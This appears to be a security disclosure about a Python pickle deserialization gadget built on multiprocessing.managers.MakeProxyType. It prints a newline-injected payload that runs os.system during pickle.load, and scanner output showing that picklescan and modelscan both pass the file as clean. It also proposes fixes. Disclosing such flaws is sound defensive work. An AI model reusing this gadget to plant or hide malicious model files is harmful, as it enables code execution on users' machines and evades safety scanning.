| # Dual-scanner pickle RCE gadget: `multiprocessing.managers.MakeProxyType` |
|
|
| **Class:** Model File Vulnerability / scanner evasion (pickle deserialization RCE) |
| **Affected scanners bypassed:** picklescan 1.0.5 AND modelscan 0.8.8 (both scan CLEAN) |
| **Primitive:** single-`REDUCE` arbitrary command execution via a dangerous stdlib |
| global that is on **neither** scanner's unsafe-globals blocklist. |
|
|
| ## Summary |
|
|
| `multiprocessing.managers.MakeProxyType(name, exposed)` builds a proxy class by |
| interpolating every element of `exposed` (nominally "method names") **raw** into |
| an `exec()` template using `%s`: |
|
|
| ```python |
| for meth in exposed: |
| exec('''def %s(self, /, *args, **kwds): |
| return self._callmethod(%r, args, kwds)''' % (meth, meth), dic) |
| ``` |
|
|
| The first `%s` substitution places `meth` unescaped immediately after `def `. A |
| crafted "method name" containing newlines closes that `def` and injects |
| arbitrary **top-level** statements that execute the moment `exec()` runs. Because |
| `MakeProxyType` is a plain module-level callable, a single pickle |
| `GLOBAL multiprocessing.managers MakeProxyType` + args tuple + `REDUCE` triggers |
| arbitrary code execution during `pickle.load`. |
|
|
| Neither picklescan nor modelscan lists `multiprocessing` (or any submodule) in |
| its unsafe-globals map, so both tools report the file as clean. |
|
|
| ## The gadget |
|
|
| Reduce: `MakeProxyType('EvilProxy', [MID])` where |
|
|
| ``` |
| MID = 'f():\n pass\nimport os\nos.system("touch /tmp/PWNED_MPTYPE_PICKLE")\ndef g' |
| ``` |
|
|
| The generated source becomes: |
|
|
| ```python |
| def f(): |
| pass |
| import os |
| os.system("touch /tmp/PWNED_MPTYPE_PICKLE") # <-- runs at exec() time |
| def g(self, /, *args, **kwds): |
| return self._callmethod('f():\n ...', args, kwds) |
| ``` |
|
|
| ## Verification (current released versions) |
|
|
| ``` |
| $ picklescan -p model.pkl # picklescan 1.0.5 |
| Infected files: 0 |
| Suspicious globals: 1 # identical bucket a benign `dict` pickle lands in |
| Dangerous globals: 0 # <-- NOT flagged |
| exit=0 |
| |
| $ modelscan -p model.pkl # modelscan 0.8.8 |
| No issues found! π |
| total_issues: 0 |
| |
| $ python -c "import pickle; pickle.load(open('model.pkl','rb'))" |
| $ ls /tmp/PWNED_MPTYPE_PICKLE |
| /tmp/PWNED_MPTYPE_PICKLE # *** RCE *** |
| ``` |
|
|
| Confirmed executing on **Python 3.12** (scan venv) and **Python 3.13**. |
|
|
| ### Benign control |
| `benign.pkl` (`dict([('a',1)])`) yields the *same* picklescan verdict |
| (`Suspicious globals: 1, Dangerous globals: 0`, exit 0) β demonstrating that |
| picklescan applies no danger classification to the malicious global and treats |
| this RCE gadget identically to a harmless builtin. |
|
|
| ## Files |
| - `model.pkl` β the malicious gadget (payload: `touch /tmp/PWNED_MPTYPE_PICKLE`) |
| - `benign.pkl` β benign control |
| - `build_poc.py` β regenerates both pickles |
| - `scan_evidence.txt` β raw picklescan + modelscan output |
|
|
| ## Fix |
| Add `multiprocessing`/`multiprocessing.managers` (`MakeProxyType`) to both |
| scanners' unsafe-globals maps; upstream, `MakeProxyType` should validate that |
| each `exposed` entry is a valid identifier before interpolating it into `exec`. |
|
|